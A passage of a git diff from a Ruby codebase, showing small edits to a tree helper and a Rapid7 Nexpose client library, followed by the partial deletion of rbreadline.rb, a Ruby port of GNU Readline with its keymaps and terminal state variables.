OpenSSL::PKey::DSAError => e - if encrypted_key + if encrypted_key && ask_passphrase tries += 1 if tries <= 3 passphrase = prompt("Enter passphrase for #{filename}:", false) diff --git a/lib/rabal/tree.rb b/lib/rabal/tree.rb index 1c810bfaa2..169a352a20 100644 --- a/lib/rabal/tree.rb +++ b/lib/rabal/tree.rb @@ -173,7 +173,7 @@ class Tree # Tree that responds to the call. # def method_missing(method_id,*params,&block) - if not parameters.nil? and parameters.respond_to?(method_id) then + if not parameters.nil? and parameters.respond_to?(method_id, true) then return parameters.send(method_id, *params, &block) elsif not is_root? then @parent.send method_id, *params, &block diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb index 78868ec764..710e364332 100644 --- a/lib/rapid7/nexpose.rb +++ b/lib/rapid7/nexpose.rb @@ -3,7 +3,7 @@ # =begin -Copyright (C) 2009-2012, Rapid7 LLC +Copyright (C) 2009-2012, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, @@ -16,7 +16,7 @@ are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of Rapid7 LLC nor the names of its contributors + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -1291,7 +1291,7 @@ class Site xml << ' <ScanTriggers>' @site_config.scanConfig.scanTriggers.each do |s| - if (s.class.to_s == "Nexpose::AutoUpdate") + if s.kind_of?(Nexpose::AutoUpdate) xml << ' <autoUpdate enabled="' + s.enabled + '" incremental="' + s.incremental + '"/>' end end diff --git a/lib/rbreadline.rb b/lib/rbreadline.rb deleted file mode 100644 index 26e77915fb..0000000000 --- a/lib/rbreadline.rb +++ /dev/null @@ -1,8749 +0,0 @@ -# -*- coding: binary -*- -# rbreadline.rb -- a general facility for reading lines of input -# with emacs style editing and completion. - -# -# Inspired by GNU Readline, translation to Ruby -# Copyright (C) 2009 by Park Heesob phasis@gmail.com -# - -=begin -Copyright (c) 2009, Park Heesob -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -* Redistributions in binary form must reproduce the above copyright notice - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -* Neither the name of Park Heesob nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -=end - - -class Fixnum - def ord; self; end -end - -module RbReadline - require 'etc' - - RL_LIBRARY_VERSION = "5.2" - RL_READLINE_VERSION = 0x0502 - RB_READLINE_VERSION = "0.2.2" - - EOF = "\xFF" - ESC = "\C-[" - PAGE = "\C-L" - SPACE = "\x20" - RETURN = "\C-M" - ABORT_CHAR = "\C-G" - TAB = "\t" - RUBOUT = "\x7f" - NEWLINE = "\n" - - DEFAULT_BUFFER_SIZE = 256 - DEFAULT_MAX_KILLS = 10 - - MB_FIND_NONZERO = 1 - MB_FIND_ANY = 0 - MB_LEN_MAX = 4 - - DEFAULT_INPUTRC = "~/.inputrc" - SYS_INPUTRC = "/etc/inputrc" - - UpCase = 1 - DownCase = 2 - CapCase = 3 - - # Possible history errors passed to hist_error. - EVENT_NOT_FOUND = 0 - BAD_WORD_SPEC = 1 - SUBST_FAILED = 2 - BAD_MODIFIER = 3 - NO_PREV_SUBST = 4 - - # Possible definitions for history starting point specification. - ANCHORED_SEARCH = 1 - NON_ANCHORED_SEARCH = 0 - - # Possible definitions for what style of writing the history file we want. - HISTORY_APPEND = 0 - HISTORY_OVERWRITE = 1 - - # Input error; can be returned by (*rl_getc_function) if readline is reading - # a top-level command (RL_ISSTATE (RL_STATE_READCMD)). - READERR = 0xFE.chr - - # Definitions available for use by readline clients. - RL_PROMPT_START_IGNORE = 1.chr - RL_PROMPT_END_IGNORE = 2.chr - - # Possible values for do_replace argument to rl_filename_quoting_function, - # called by rl_complete_internal. - NO_MATCH = 0 - SINGLE_MATCH = 1 - MULT_MATCH = 2 - - # Callback data for reading numeric arguments - NUM_SAWMINUS = 0x01 - NUM_SAWDIGITS = 0x02 - NUM_READONE = 0x04 - - # A context for reading key sequences longer than a single character when - # using the callback interface. - KSEQ_DISPATCHED = 0x01 - KSEQ_SUBSEQ = 0x02 - KSEQ_RECURSIVE = 0x04 - - # Possible state values for rl_readline_state - RL_STATE_NONE = 0x000000 # no state before first call - - RL_STATE_INITIALIZING = 0x000001 # initializing - RL_STATE_INITIALIZED = 0x000002 # initialization done - RL_STATE_TERMPREPPED = 0x000004 # terminal is prepped - RL_STATE_READCMD = 0x000008 # reading a command key - RL_STATE_METANEXT = 0x000010 # reading input after ESC - RL_STATE_DISPATCHING = 0x000020 # dispatching to a command - RL_STATE_MOREINPUT = 0x000040 # reading more input in a command function - RL_STATE_ISEARCH = 0x000080 # doing incremental search - RL_STATE_NSEARCH = 0x000100 # doing non-inc search - RL_STATE_SEARCH = 0x000200 # doing a history search - RL_STATE_NUMERICARG = 0x000400 # reading numeric argument - RL_STATE_MACROINPUT = 0x000800 # getting input from a macro - RL_STATE_MACRODEF = 0x001000 # defining keyboard macro - RL_STATE_OVERWRITE = 0x002000 # overwrite mode - RL_STATE_COMPLETING = 0x004000 # doing completion - RL_STATE_SIGHANDLER = 0x008000 # in readline sighandler - RL_STATE_UNDOING = 0x010000 # doing an undo - RL_STATE_INPUTPENDING = 0x020000 # rl_execute_next called - RL_STATE_TTYCSAVED = 0x040000 # tty special chars saved - RL_STATE_CALLBACK = 0x080000 # using the callback interface - RL_STATE_VIMOTION = 0x100000 # reading vi motion arg - RL_STATE_MULTIKEY = 0x200000 # reading multiple-key command - RL_STATE_VICMDONCE = 0x400000 # entered vi command mode at least once - - RL_STATE_DONE = 0x800000 # done accepted line - - NO_BELL = 0 - AUDIBLE_BELL = 1 - VISIBLE_BELL = 2 - # The actions that undo knows how to undo. Notice that UNDO_DELETE means - # to insert some text, and UNDO_INSERT means to delete some text. I.e., - # the code tells undo what to undo, not how to undo it. - UNDO_DELETE, UNDO_INSERT, UNDO_BEGIN, UNDO_END = 0,1,2,3 - - # Definitions used when searching the line for characters. - # NOTE: it is necessary that opposite directions are inverses - FTO = 1 # forward to - BTO = -1 # backward to - FFIND = 2 # forward find - BFIND = -2 # backward find - - # Possible values for the found_quote flags word used by the completion - # functions. It says what kind of (shell-like) quoting we found anywhere - # in the line. - RL_QF_SINGLE_QUOTE = 0x01 - RL_QF_DOUBLE_QUOTE = 0x02 - RL_QF_BACKSLASH = 0x04 - RL_QF_OTHER_QUOTE = 0x08 - - KEYMAP_SIZE = 257 - ANYOTHERKEY = KEYMAP_SIZE-1 - - @hConsoleHandle = nil - @MessageBeep = nil - - RL_IM_INSERT = 1 - RL_IM_OVERWRITE = 0 - RL_IM_DEFAULT = RL_IM_INSERT - @no_mode = -1 - @vi_mode = 0 - @emacs_mode = 1 - ISFUNC = 0 - ISKMAP = 1 - ISMACR = 2 - - HISTORY_WORD_DELIMITERS = " \t\n;&()|<>" - HISTORY_QUOTE_CHARACTERS = "\"'`" - - RL_SEARCH_ISEARCH = 0x01 # incremental search - RL_SEARCH_NSEARCH = 0x02 # non-incremental search - RL_SEARCH_CSEARCH = 0x04 # intra-line char search - - # search flags - SF_REVERSE = 0x01 - SF_FOUND = 0x02 - SF_FAILED = 0x04 - - @slashify_in_quotes = "\\`\"$" - - @sigint_proc = nil - @sigint_blocked = false - - @rl_prep_term_function = :rl_prep_terminal - @rl_deprep_term_function = :rl_deprep_terminal - - @_rl_history_saved_point = -1 - - @rl_max_kills = DEFAULT_MAX_KILLS - @rl_kill_ring = nil - @rl_kill_index = 0 - @rl_kill_ring_length = 0 - - @pending_bytes = '' - @stored_count = 0 - - @_rl_isearch_terminators = nil - @_rl_iscxt = nil - @last_isearch_string = nil - @last_isearch_string_len = 0 - @default_isearch_terminators = "\033\012" - @_rl_history_preserve_point = false - @terminal_prepped = false - @otio = nil - - @msg_saved_prompt = false - - @_rl_nscxt = nil - @noninc_search_string = nil - @noninc_history_pos = 0 - @prev_line_found = nil - - rl_history_search_len = 0 - rl_history_search_pos = 0 - history_search_string = nil - history_string_size = 0 - - @_rl_tty_chars = Struct.new(:t_eol,:t_eol2,:t_erase,:t_werase,:t_kill,:t_reprint,:t_intr,:t_eof, - :t_quit,:t_susp,:t_dsusp,:t_start,:t_stop,:t_lnext,:t_flush,:t_status).new - @_rl_last_tty_chars = nil - - @_keyboard_input_timeout = 0.01 - - # Variables exported by this file. - # The character that represents the start of a history expansion - # request. This is usually `!'. - @history_expansion_char = "!" - - # The character that invokes word substitution if found at the start of - # a line. This is usually `^'. - @history_subst_char = "^" - - # During tokenization, if this character is seen as the first character - # of a word, then it, and all subsequent characters upto a newline are - # ignored. For a Bourne shell, this should be '#'. Bash special cases - # the interactive comment character to not be a comment delimiter. - @history_comment_char = 0.chr - - # The list of characters which inhibit the expansion of text if found - # immediately following history_expansion_char. - @history_no_expand_chars = " \t\n\r=" - - # If set to a non-zero value, single quotes inhibit history expansion. - # The default is 0. - @history_quotes_inhibit_expansion = 0 - - # Used to split words by history_tokenize_internal. - @history_word_delimiters = HISTORY_WORD_DELIMITERS - - # If set, this points to a function that is called to verify that a - # particular history expansion should be performed. - @history_inhibit_expansion_function = nil - - @rl_event_hook = nil - # The visible cursor position. If you print some text, adjust this. - # NOTE: _rl_last_c_pos is used as a buffer index when not in a locale - # supporting multibyte characters, and an absolute cursor position when - # in such a locale. This is an artifact of the donated multibyte support. - # Care must be taken when modifying its value. - @_rl_last_c_pos = 0 - @_rl_last_v_pos = 0 - - @cpos_adjusted = false - @cpos_buffer_position = 0 - - # Number of lines currently on screen minus 1. - @_rl_vis_botlin = 0 - - # Variables used only in this file. - # The last left edge of text that was displayed. This is used when - # doing horizontal scrolling. It shifts in thirds of a screenwidth. - @last_lmargin = 0 - - # The line display buffers. One is the line currently displayed on - # the screen. The other is the line about to be displayed. - @visible_line = nil - @invisible_line = nil - - # A buffer for `modeline' messages. - @msg_buf = 0.chr * 128 - - # Non-zero forces the redisplay even if we thought it was unnecessary. - @forced_display = false - - # Default and initial buffer size. Can grow. - @line_size = 1024 - - # Variables to keep track of the expanded prompt string, which may - # include invisible characters. - - @local_prompt = nil - @local_prompt_prefix = nil - @local_prompt_len = 0 - @prompt_visible_length = 0 - @prompt_prefix_length = 0 - - # The number of invisible characters in the line currently being - # displayed on the screen. - @visible_wrap_offset = 0 - - # The number of invisible characters in the prompt string. Static so it - # can be shared between rl_redisplay and update_line - @wrap_offset = 0 - - @prompt_last_invisible = 0 - - # The length (buffer offset) of the first line of the last (possibly - # multi-line) buffer displayed on the screen. - @visible_first_line_len = 0 - - # Number of invisible characters on the first physical line of the prompt. - # Only valid when the number of physical characters in the prompt exceeds - # (or is equal to) _rl_screenwidth. - @prompt_invis_chars_first_line = 0 - - @prompt_last_screen_line = 0 - - @prompt_physical_chars = 0 - - # Variables to save and restore prompt and display information. - - # These are getting numerous enough that it's time to create a struct. - - @saved_local_prompt = nil - @saved_local_prefix = nil - @saved_last_invisible = 0 - @saved_visible_length = 0 - @saved_prefix_length = 0 - @saved_local_length = 0 - @saved_invis_chars_first_line = 0 - @saved_physical_chars = 0 - - @inv_lbreaks = nil - @vis_lbreaks = nil - @_rl_wrapped_line = nil - - @term_buffer = nil - @term_string_buffer = nil - - @tcap_initialized = false - - # While we are editing the history, this is the saved - # version of the original line. - @_rl_saved_line_for_history = nil - - # An array of HIST_ENTRY. This is where we store the history. - @the_history = nil - @history_base = 1 - - # Non-zero means that we have enforced a limit on the amount of - # history that we save. - @history_stifled = false - - # If HISTORY_STIFLED is non-zero, then this is the maximum number of - # entries to remember. - @history_max_entries = 0 - @max_input_history = 0 # backwards compatibility - - # The current location of the interactive history pointer. Just makes - # life easier for outside callers. - @history_offset = 0 - - # The number of strings currently stored in the history list. - @history_length = 0 - - @_rl_vi_last_command = 'i' # default `.' puts you in insert mode - - # Non-zero means enter insertion mode. - @_rl_vi_doing_insert = 0 - - # Command keys which do movement for xxx_to commands. - @vi_motion = " hl^$0ftFT;,%wbeWBE|" - - # Keymap used for vi replace characters. Created dynamically since - # rarely used. - @vi_replace_map = nil - - # The number of characters inserted in the last replace operation. - @vi_replace_count = 0 - - # If non-zero, we have text inserted after a c[motion] command that put - # us implicitly into insert mode. Some people want this text to be - # attached to the command so that it is `redoable' with `.'. - @vi_continued_command = false - @vi_insert_buffer = nil - @vi_insert_buffer_size = 0 - - @_rl_vi_last_repeat = 1 - @_rl_vi_last_arg_sign = 1 - @_rl_vi_last_motion = 0 - @_rl_vi_last_search_char = 0 - @_rl_vi_last_replacement = 0 - - @_rl_vi_last_key_before_insert = 0 - - @vi_redoing = 0 - - # Text modification commands. These are the `redoable' commands. - @vi_textmod = "_*\\AaIiCcDdPpYyRrSsXx~" - - # Arrays for the saved marks. - @vi_mark_chars = Array.new(26,-1) - - @emacs_standard_keymap = { - "\C-@" => :rl_set_mark , - "\C-a" => :rl_beg_of_line , - "\C-b" => :rl_backward_char , - "\C-d" => :rl_delete , - "\C-e" => :rl_end_of_line , - "\C-f" => :rl_forward_char , - "\C-g" => :rl_abort , - "\C-h" => :rl_rubout , - "\C-i" => :rl_complete , - "\C-j" => :rl_newline , - "\C-k" => :rl_kill_line , - "\C-l" => :rl_clear_screen , - "\C-m" => :rl_newline , - "\C-n" => :rl_get_next_history , - "\C-p" => :rl_get_previous_history , - "\C-q" => :rl_quoted_insert , - "\C-r" => :rl_reverse_search_history , - "\C-s" => :rl_forward_search_history , - "\C-t" => :rl_transpose_chars , - "\C-u" => :rl_unix_line_discard , - "\C-v" => :rl_quoted_insert , - "\C-w" => :rl_unix_word_rubout , - "\C-y" => :rl_yank , - "\C-]" => :rl_char_search , - "\C-_" => :rl_undo_command , - "\x7F" => :rl_rubout , - "\e\C-g" => :rl_abort , - "\e\C-h" => :rl_backward_kill_word , - "\e\C-i" => :rl_tab_insert , - "\e\C-j" => :rl_vi_editing_mode , - "\e\C-m" => :rl_vi_editing_mode , - "\e\C-r" => :rl_revert_line , - "\e\C-y" => :rl_yank_nth_arg , - "\e\C-[" => :rl_complete , - "\e\C-]" => :rl_backward_char_search , - "\e " => :rl_set_mark , - "\e#" => :rl_insert_comment , - "\e&" => :rl_tilde_expand , - "\e*" => :rl_insert_completions , - "\e-" => :rl_digit_argument , - "\e." => :rl_yank_last_arg , - "\e0" => :rl_digit_argument , - "\e1" => :rl_digit_argument , - "\e2" => :rl_digit_argument , - "\e3" => :rl_digit_argument , - "\e4" => :rl_digit_argument , - "\e5" => :rl_digit_argument , - "\e6" => :rl_digit_argument , - "\e7" => :rl_digit_argument , - "\e8" => :rl_digit_argument , - "\e9" => :rl_digit_argument , - "\e<" => :rl_beginning_of_history , - "\e=" => :rl_possible_completions , - "\e>" => :rl_end_of_history , - "\e?" => :rl_possible_completions , - "\eB" => :rl_backward_word , - "\eC" => :rl_capitalize_word , - "\eD" => :rl_kill_word , - "\eF" => :rl_forward_word , - "\eL" => :rl_downcase_word , - "\eN" => :rl_noninc_forward_search , - "\eP" => :rl_noninc_reverse_search , - "\eR" => :rl_revert_line , - "\eT" => :rl_transpose_words , - "\eU" => :rl_upcase_word , - "\eY" => :rl_yank_pop , - "\e\\" => :rl_delete_horizontal_space , - "\e_" => :rl_yank_last_arg , - "\eb" => :rl_backward_word , - "\ec" => :rl_capitalize_word , - "\ed" => :rl_kill_word , - "\ef" => :rl_forward_word , - "\el" => :rl_downcase_word , - "\en" => :rl_noninc_forward_search , - "\ep" => :rl_noninc_reverse_search , - "\er" => :rl_revert_line , - "\et" => :rl_transpose_words , - "\eu" => :rl_upcase_word , - "\ey" => :rl_yank_pop , - "\e~" => :rl_tilde_expand , - "\377" => :rl_backward_kill_word , - - "\C-x\C-g" => :rl_abort , - "\C-x\C-r" => :rl_re_read_init_file , - "\C-x\C-u" => :rl_undo_command , - "\C-x\C-x" => :rl_exchange_point_and_mark , - "\C-x(" => :rl_start_kbd_macro , - "\C-x)" => :rl_end_kbd_macro , - "\C-xE" => :rl_call_last_kbd_macro , - "\C-xe" => :rl_call_last_kbd_macro , - "\C-x\x7F" => :rl_backward_kill_line - } - - @vi_movement_keymap = { - "\C-d" => :rl_vi_eof_maybe , - "\C-e" => :rl_emacs_editing_mode , - "\C-g" => :rl_abort , - "\C-h" => :rl_backward_char , - "\C-j" => :rl_newline , - "\C-k" => :rl_kill_line , - "\C-l" => :rl_clear_screen , - "\C-m" => :rl_newline , - "\C-n" => :rl_get_next_history , - "\C-p" => :rl_get_previous_history , - "\C-q" => :rl_quoted_insert , - "\C-r" => :rl_reverse_search_history , - "\C-s" => :rl_forward_search_history , - "\C-t" => :rl_transpose_chars , - "\C-u" => :rl_unix_line_discard , - "\C-v" => :rl_quoted_insert , - "\C-w" => :rl_unix_word_rubout , - "\C-y" => :rl_yank , - "\C-_" => :rl_vi_undo , - " " => :rl_forward_char , - "#" => :rl_insert_comment , - "$" => :rl_end_of_line , - "%" => :rl_vi_match , - "&" => :rl_vi_tilde_expand , - "*" => :rl_vi_complete , - "+" => :rl_get_next_history , - "," => :rl_vi_char_search , - "-" => :rl_get_previous_history , - "." => :rl_vi_redo , - "/" => :rl_vi_search , - "0" => :rl_beg_of_line , - "1" => :rl_vi_arg_digit , - "2" => :rl_vi_arg_digit , - "3" => :rl_vi_arg_digit , - "4" => :rl_vi_arg_digit , - "5" => :rl_vi_arg_digit , - "6" => :rl_vi_arg_digit , - "7" => :rl_vi_arg_digit , - "8" => :rl_vi_arg_digit , - "9" => :rl_vi_arg_digit , - "" => :rl_vi_char_search , - "=" => :rl_vi_complete , - "?" => :rl_vi_search , - "A" => :rl_vi_append_eol , - "B" => :rl_vi_prev_word , - "C" => :rl_vi_change_to , - "D" => :rl_vi_delete_to , - "E" => :rl_vi_end_word , - "F" => :rl_vi_char_search , - "G" => :rl_vi_fetch_history , - "I" => :rl_vi_insert_beg , - "N" => :rl_vi_search_again , - "P" => :rl_vi_put , - "R" => :rl_vi_replace , - "S" => :rl_vi_subst , - "T" => :rl_vi_char_search , - "U" => :rl_revert_line , - "W" => :rl_vi_next_word , - "X" => :rl_vi_rubout , - "Y" => :rl_vi_yank_to , - "\\" => :rl_vi_complete , - "^" => :rl_vi_first_print , - "_" => :rl_vi_yank_arg , - "`" => :rl_vi_goto_mark , - "a" => :rl_vi_append_mode , - "b" => :rl_vi_prev_word , - "c" => :rl_vi_change_to , - "d" => :rl_vi_delete_to , - "e" => :rl_vi_end_word , - "f" => :rl_vi_char_search , - "h" => :rl_backward_char , - "i" => :rl_vi_insertion_mode , - "j" => :rl_get_next_history , - "k" => :rl_get_previous_history , - "l" => :rl_forward_char , - "m" => :rl_vi_set_mark , - "n" => :rl_vi_search_again , - "p" => :rl_vi_put , - "r" => :rl_vi_change_char , - "s" => :rl_vi_subst , - "t" => :rl_vi_char_search , - "u" => :rl_vi_undo , - "w" => :rl_vi_next_word , - "x" => :rl_vi_delete , - "y" => :rl_vi_yank_to , - "|" => :rl_vi_column , - "~" => :rl_vi_change_case - } - - @vi_insertion_keymap = { - "\C-a" => :rl_insert , - "\C-b" => :rl_insert , - "\C-c" => :rl_insert , - "\C-d" => :rl_vi_eof_maybe , - "\C-e" => :rl_insert , - "\C-f" => :rl_insert , - "\C-g" => :rl_insert , - "\C-h" => :rl_rubout , - "\C-i" => :rl_complete , - "\C-j" => :rl_newline , - "\C-k" => :rl_insert , - "\C-l" => :rl_insert , - "\C-m" => :rl_newline , - "\C-n" => :rl_insert , - "\C-o" => :rl_insert , - "\C-p" => :rl_insert , - "\C-q" => :rl_insert , - "\C-r" => :rl_reverse_search_history , - "\C-s" => :rl_forward_search_history , - "\C-t" => :rl_transpose_chars , - "\C-u" => :rl_unix_line_discard , - "\C-v" => :rl_quoted_insert , - "\C-w" => :rl_unix_word_rubout , - "\C-x" => :rl_insert , - "\C-y" => :rl_yank , - "\C-z" => :rl_insert , -# "\C-[" => :rl_vi_movement_mode, -# XXX: NOT IMPLEMENTED - "\C-\\" => :rl_insert , - "\C-]" => :rl_insert , - "\C-^" => :rl_insert , - "\C-_" => :rl_vi_undo , - "\x7F" => :rl_rubout - } - - @rl_library_version = RL_LIBRARY_VERSION - - @rl_readline_version = RL_READLINE_VERSION - - @rl_readline_name = "other" - - @rl_getc_function = :rl_getc - - # Non-zero tells rl_delete_text and rl_insert_text to not add to - # the undo list. - @_rl_doing_an_undo = false - - # How many unclosed undo groups we currently have. - @_rl_undo_group_level = 0 - - # The current undo list for THE_LINE. - @rl_undo_list = nil - - # Application-specific redisplay function. - @rl_redisplay_function = :rl_redisplay - - # Global variables declared here. - # What YOU turn on when you have handled all redisplay yourself. - @rl_display_fixed = false - - @_rl_suppress_redisplay = 0 - @_rl_want_redisplay = false - - # The stuff that gets printed out before the actual text of the line. - # This is usually pointing to rl_prompt. - @rl_display_prompt = nil - - # True if this is `real' readline as opposed to some stub substitute. - @rl_gnu_readline_p = true - - for i in 32 .. 255 - @emacs_standard_keymap[i.chr] = :rl_insert unless @emacs_standard_keymap[i.chr] - @vi_insertion_keymap[i.chr] = :rl_insert unless @vi_insertion_keymap[i.chr] - end - # A pointer to the keymap that is currently in use. - # By default, it is the standard emacs keymap. - @_rl_keymap = @emacs_standard_keymap - - - # The current style of editing. - @rl_editing_mode = @emacs_mode - - # The current insert mode: input (the default) or overwrite - @rl_insert_mode = RL_IM_DEFAULT - - # Non-zero if we called this function from _rl_dispatch(). It's present - # so functions can find out whether they were called from a key binding - # or directly from an application. - @rl_dispatching = false - - # Non-zero if the previous command was a kill command. - @_rl_last_command_was_kill = false - - # The current value of the numeric argument specified by the user. - @rl_numeric_arg = 1 - - # Non-zero if an argument was typed. - @rl_explicit_arg = false - - # Temporary value used while generating the argument. - @rl_arg_sign = 1 - - # Non-zero means we have been called at least once before. - @rl_initialized = false - - # Flags word encapsulating the current readline state. - @rl_readline_state = RL_STATE_NONE - - # The current offset in the current input line. - @rl_point = 0 - - # Mark in the current input line. - @rl_mark = 0 - - # Length of the current input line. - @rl_end = 0 - - # Make this non-zero to return the current input_line. - @rl_done = false - - # The last function executed by readline. - @rl_last_func = nil - - # Top level environment for readline_internal (). - @readline_top_level = nil - - # The streams we interact with. - @_rl_in_stream = nil - @_rl_out_stream = nil - - # The names of the streams that we do input and output to. - @rl_instream = nil - @rl_outstream = nil - - @pop_index = 0 - @push_index = 0 - @ibuffer = 0.chr * 512 - @ibuffer_len = @ibuffer.length - 1 - - - # Non-zero means echo characters as they are read. Defaults to no echo - # set to 1 if there is a controlling terminal, we can get its attributes, - # and the attributes include `echo'. Look at rltty.c:prepare_terminal_settings - # for the code that sets it. - @readline_echoing_p = false - - # Current prompt. - @rl_prompt = nil - @rl_visible_prompt_length = 0 - - # Set to non-zero by calling application if it has already printed rl_prompt - # and does not want readline to do it the first time. - @rl_already_prompted = false - - # The number of characters read in order to type this complete command. - @rl_key_sequence_length = 0 - - # If non-zero, then this is the address of a function to call just - # before readline_internal_setup () prints the first prompt. - @rl_startup_hook = nil - - # If non-zero, this is the address of a function to call just before - # readline_internal_setup () returns and readline_internal starts - # reading input characters. - @rl_pre_input_hook = nil - - # The character that can generate an EOF. Really read from - # the terminal driver... just defaulted here. - @_rl_eof_char = "\cD" - - # Non-zero makes this the next keystroke to read. - @rl_pending_input = 0 - - # Pointer to a useful terminal name. - @rl_terminal_name = nil - - # Non-zero means to always use horizontal scrolling in line display. - @_rl_horizontal_scroll_mode = false - - # Non-zero means to display an asterisk at the starts of history lines - # which have been modified. - @_rl_mark_modified_lines = false - - # The style of `bell' notification preferred. This can be set to NO_BELL, - # AUDIBLE_BELL, or VISIBLE_BELL. - @_rl_bell_preference = AUDIBLE_BELL - - # String inserted into the line by rl_insert_comment (). - @_rl_comment_begin = nil - - # Keymap holding the function currently being executed. - @rl_executing_keymap = nil - - # Keymap we're currently using to dispatch. - @_rl_dispatching_keymap = nil - - # Non-zero means to erase entire line, including prompt, on empty input lines. - @rl_erase_empty_line = false - - # Non-zero means to read only this many characters rather than up to a - # character bound to accept-line. - @rl_num_chars_to_read = 0 - - # Line buffer and maintenence. - @rl_line_buffer = nil - - # Key sequence `contexts' - @_rl_kscxt = nil - - # Non-zero means do not parse any lines other than comments and - # parser directives. - @_rl_parsing_conditionalized_out = false - - # Non-zero means to convert characters with the meta bit set to - # escape-prefixed characters so we can indirect through - # emacs_meta_keymap or vi_escape_keymap. - @_rl_convert_meta_chars_to_ascii = true - - # Non-zero means to output characters with the meta bit set directly - # rather than as a meta-prefixed escape sequence. - @_rl_output_meta_chars = false - - # Non-zero means to look at the termios special characters and bind - # them to equivalent readline functions at startup. - @_rl_bind_stty_chars = true - - @rl_completion_display_matches_hook = nil - - XOK = 1 - - @_rl_term_clreol = nil - @_rl_term_clrpag = nil - @_rl_term_cr = nil - @_rl_term_backspace = nil - @_rl_term_goto = nil - @_rl_term_pc = nil - - # Non-zero if we determine that the terminal can do character insertion. - @_rl_terminal_can_insert = false - - # How to insert characters. - @_rl_term_im = nil - @_rl_term_ei = nil - @_rl_term_ic = nil - @_rl_term_ip = nil - @_rl_term_IC = nil - - # How to delete characters. - @_rl_term_dc = nil - @_rl_term_DC = nil - - @_rl_term_forward_char = nil - - # How to go up a line. - @_rl_term_up = nil - - # A visible bell; char if the terminal can be made to flash the screen. - @_rl_visible_bell = nil - - # Non-zero means the terminal can auto-wrap lines. - @_rl_term_autowrap = true - - # Non-zero means that this terminal has a meta key. - @term_has_meta = 0 - - # The sequences to write to turn on and off the meta key, if this - # terminal has one. - @_rl_term_mm = nil - @_rl_term_mo = nil - - # The key sequences output by the arrow keys, if this terminal has any. - @_rl_term_ku = nil - @_rl_term_kd = nil - @_rl_term_kr = nil - @_rl_term_kl = nil - - # How to initialize and reset the arrow keys, if this terminal has any. - @_rl_term_ks = nil - @_rl_term_ke = nil - - # The key sequences sent by the Home and End keys, if any. - @_rl_term_kh = nil - @_rl_term_kH = nil - @_rl_term_at7 = nil - - # Delete key - @_rl_term_kD = nil - - # Insert key - @_rl_term_kI = nil - - # Cursor control - @_rl_term_vs = nil # very visible - @_rl_term_ve = nil # normal - - # Variables that hold the screen dimensions, used by the display code. - @_rl_screenwidth = @_rl_screenheight = @_rl_screenchars = 0 - - # Non-zero means the user wants to enable the keypad. - @_rl_enable_keypad = false - - # Non-zero means the user wants to enable a meta key. - @_rl_enable_meta = true - - # **************************************************************** - # - # Completion matching, from readline's point of view. - # - # **************************************************************** - - # Variables known only to the readline library. - - # If non-zero, non-unique completions always show the list of matches. - @_rl_complete_show_all = false - - # If non-zero, non-unique completions show the list of matches, unless it - # is not possible to do partial completion and modify the line. - @_rl_complete_show_unmodified = false - - # If non-zero, completed directory names have a slash appended. - @_rl_complete_mark_directories = true - - # If non-zero, the symlinked directory completion behavior introduced in - # readline-4.2a is disabled, and symlinks that point to directories have - # a slash appended (subject to the value of _rl_complete_mark_directories). - # This is user-settable via the mark-symlinked-directories variable. - @_rl_complete_mark_symlink_dirs = false - - # If non-zero, completions are printed horizontally in alphabetical order, - # like `ls -x'. - @_rl_print_completions_horizontally = false - - @_rl_completion_case_fold = false - - # If non-zero, don't match hidden files (filenames beginning with a `.' on - # Unix) when doing filename completion. - @_rl_match_hidden_files = true - - # Global variables available to applications using readline. - - # Non-zero means add an additional character to each filename displayed - # during listing completion iff rl_filename_completion_desired which helps - # to indicate the type of file being listed. - @rl_visible_stats = false - - # If non-zero, then this is the address of a function to call when - # completing on a directory name. The function is called with - # the address of a string (the current directory name) as an arg. - @rl_directory_completion_hook = nil - - @rl_directory_rewrite_hook = nil - - # Non-zero means readline completion functions perform tilde expansion. - @rl_complete_with_tilde_expansion = false - - # Pointer to the generator function for completion_matches (). - # NULL means to use rl_filename_completion_function (), the default filename - # completer. - @rl_completion_entry_function = nil - - # Pointer to alternative function to create matches. - # Function is called with TEXT, START, and END. - # START and END are indices in RL_LINE_BUFFER saying what the boundaries - # of TEXT are. - # If this function exists and returns NULL then call the value of - # rl_completion_entry_function to try to match, otherwise use the - # array of strings returned. - @rl_attempted_completion_function = nil - - # Non-zero means to suppress normal filename completion after the - # user-specified completion function has been called. - @rl_attempted_completion_over = false - - # Set to a character indicating the type of completion being performed - # by rl_complete_internal, available for use by application completion - # functions. - @rl_completion_type = 0 - - # Up to this many items will be displayed in response to a - # possible-completions call. After that, we ask the user if - # she is sure she wants to see them all. A negative value means - # don't ask. - @rl_completion_query_items = 100 - - @_rl_page_completions = 1 - - # The basic list of characters that signal a break between words for the - # completer routine. The contents of this variable is what breaks words - # in the shell, i.e. " \t\n\"\\'`@$><=" - @rl_basic_word_break_characters = " \t\n\"\\'`@$><=|&{(" # }) - - # List of basic 